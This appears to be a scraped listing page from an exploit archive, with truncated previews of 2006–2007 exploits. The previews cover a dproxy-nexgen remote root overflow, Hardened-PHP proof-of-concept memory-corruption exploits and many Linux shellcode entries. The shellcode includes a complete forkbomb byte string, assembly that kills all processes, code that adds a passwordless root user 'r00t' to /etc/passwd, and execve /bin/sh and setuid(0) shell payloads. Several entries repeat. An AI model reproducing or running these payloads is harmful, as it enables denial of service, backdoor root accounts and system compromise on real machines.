dproxy-nexgen (Linux x86) - Remote Buffer Overflow

dproxy-nexgen Linux x86 - Remote Buffer Overflow / dproxy-v1.c Copyright c 2007 by dproxy-nexgen remote root exploit x86-lnx by mu-b - Mar 2007 - Tested on: dproxy-nexgen .tar.gz This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public...

MOPB-pecl.txt

?php //////////////////////////////////////////////////////////////////////// // // // | || | | | | | | | || || \ // // | |/ || '|/ |/ -| ' \ / -/ |||| /| || / // // ||||,||| ,|||||||,| || |||||| // // // // Proof of concept code from the Hardened-PHP Project // // C Copyright 2007 Stefan...

MOPB-session.txt

?php //////////////////////////////////////////////////////////////////////// // // // | || | | | | | | | || || \ // // | |/ || '|/ |/ -| ' \ / -/ |||| /| || / // // ||||,||| ,|||||||,| || |||||| // // // // Proof of concept code from the Hardened-PHP Project // // C Copyright 2007 Stefan...

PHP 5.2.1 - 'hash_update_file()' Freed Resource Usage

?php //////////////////////////////////////////////////////////////////////// // // // | || | | | | | | | || || \ // // | |/ || '|/ |/ -| ' \ / -/ |||| /| || / // // ||||,||| ,|||||||,| || |||||| // // // // Proof of concept code from the Hardened-PHP Project // // C Copyright 2007 Stefan...

PHP 5.2.1 - session_regenerate_id() Double-Free

PHP 5.2.1 - sessionregenerateid Double-Free ?php //////////////////////////////////////////////////////////////////////// // // // | || | | | | | | | || || \ // // | |/ || '|/ |/ -| ' \ / -/ |||| /| || / // // ||||,||| ,|||||||,| || |||||| // // // // Proof of concept code from the...

linux/x86 kill all processes 11 bytes

No description provided by source. / By Kris Katterjohn 11/13/2006 11 byte shellcode to kill all processes for Linux/x86 section .text global start start: ; kill-1, SIGKILL push byte 37 pop eax push byte -1 pop ebx push byte 9 pop ecx int 0x80 / main char shellcode =...

linux/x86 kill all processes 11 bytes

Exploit for linux/x86 platform in category shellcode ===================================== linux/x86 kill all processes 11 bytes ===================================== / By Kris Katterjohn 11/13/2006 11 byte shellcode to kill all processes for Linux/x86 section .text global start start: ; kill-1,...

linux/x86 - kill all processes 11 bytes

linux/x86 kill all processes 11 bytes. Shellcode exploit for linx86 platform / By Kris Katterjohn 11/13/2006 11 byte shellcode to kill all processes for Linux/x86 section .text global start start: ; kill-1, SIGKILL push byte 37 pop eax push byte -1 pop ebx push byte 9 pop ecx int 0x80 / main char...

PHP < 4.4.5 / 5.2.1 (shmop Functions) Local Code Execution Exploit

No description provided by source. ?php //////////////////////////////////////////////////////////////////////// // // // | || | | | | | | | || || \ // // | |/ || '|/ |/ -| ' \ / -/ |||| /| || / // // ||||,||| ,|||||||,| || |||||| // // // // Proof of concept code from the Hardened-PHP...

PHP 4.4.55.2.1 - shmop Local Code Execution

PHP 4.4.55.2.1 - shmop Local Code Execution ?php //////////////////////////////////////////////////////////////////////// // // // | || | | | | | | | || || \ // // | |/ || '|/ |/ -| ' \ / -/ |||| /| || / // // ||||,||| ,|||||||,| || |||||| // // // // Proof of concept code from the...

PHP <= 4.4.4 unserialize() ZVAL Reference Counter Overflow Exploit PoC

No description provided by source. ?php //////////////////////////////////////////////////////////////////////// // // // | || | | | | | | | || || // // | |/ || '|/ |/ -| ' / -/ |||| /| || / //...

PHP <= 4.4.4 unserialize() ZVAL Reference Counter Overflow Exploit PoC

No description provided by source. ?php //////////////////////////////////////////////////////////////////////// // // // | || | | | | | | | || || \ // // | |/ || '|/ |/ -| ' \ / -/ |||| /| || / // // ||||,||| ,|||||||,| || |||||| // // // // Proof of concept code from the Hardened-PHP...

linux/x86 add root user r00t with no password to /etc/passwd 69 bytes

No description provided by source. / By Kris Katterjohn 11/14/2006 69 byte shellcode to add root user 'r00t' with no password to /etc/passwd for Linux/x86 section .text global start start: ; open"/etc//passwd", OWRONLY | OAPPEND push byte 5 pop eax xor ecx, ecx push ecx push 0x64777373 push...

linux/x86-64 execve(/bin/sh) 33 bytes

No description provided by source. Linux/X86-64 Dummy for shellcode: execve"/bin/sh", "/bin/sh", NULL hophet at gmail.com .text .globl start start: xorq %rdx, %rdx movq $0x68732f6e69622fff,%rbx shr $0x8, %rbx push %rbx movq %rsp,%rdi xorq %rax,%rax pushq %rax pushq %rdi movq %rsp,%rsi mov $0x3b,%...

linux/x86 forkbomb 7 bytes

No description provided by source. / By Kris Katterjohn 8/29/2006 7 byte shellcode for a forkbomb section .text global start start: push byte 2 pop eax int 0x80 jmp short start / main char shellcode = "\x6a\x02\x58\xcd\x80\xeb\xf9"; void shellcode;...

linux/x86 set system time to 0 and exit 15 bytes

No description provided by source. / By Kris Katterjohn 11/14/2006 15 byte shellcode to set system time to 0 and exit. No real damage : exit code is the last 5 bytes 0x6a - 0x80 for Linux/x86 section .text global start start: ; stime0 push byte 25 pop eax xor ecx, ecx push ecx mov ebx, esp int 0x...

linux/x86 - set system time to 0 and exit 12 bytes

linux/x86 set system time to 0 and exit 12 bytes. Shellcode exploit for linx86 platform / By Kris Katterjohn 11/18/2006 12 byte shellcode to set system time to 0 and exit. No real damage : exit code is the last 5 bytes 0x6a - 0x80 for Linux/x86 section .text global start start: ; stime0 push byte...

linux/x86 setuid(0) + execve(/bin/sh) 28 bytes

No description provided by source. / revenge-setuid.c, v1.0 2006/09/30 14:57 linux/x86 setuid0 + execve"/bin//sh", "/bin//sh", NULL shellcode once again... setuid 6 bytes + execve 22 bytes = 28 bytes Same as revenge-execve.c we start the 2 system calls with a mov resulting in 2 bytes less, but th...

linux/x86 add root user r00t with no password to /etc/passwd 69 bytes

Exploit for linux/x86 platform in category shellcode ===================================================================== linux/x86 add root user r00t with no password to /etc/passwd 69 bytes ===================================================================== / By Kris Katterjohn 11/14/2006 69...

linux/x86 execve(/bin/sh) 22 bytes

No description provided by source. / revenge-execve.c, v1.0 2006/10/14 16:32 Yet another linux execve shellcode.. linux/x86 execve"/bin//sh/","/bin//sh",NULL shellcode http://www.0xcafebabe.it [email protected] But this time it's 22 bytes We could start the shellcode with a mov instead of pus...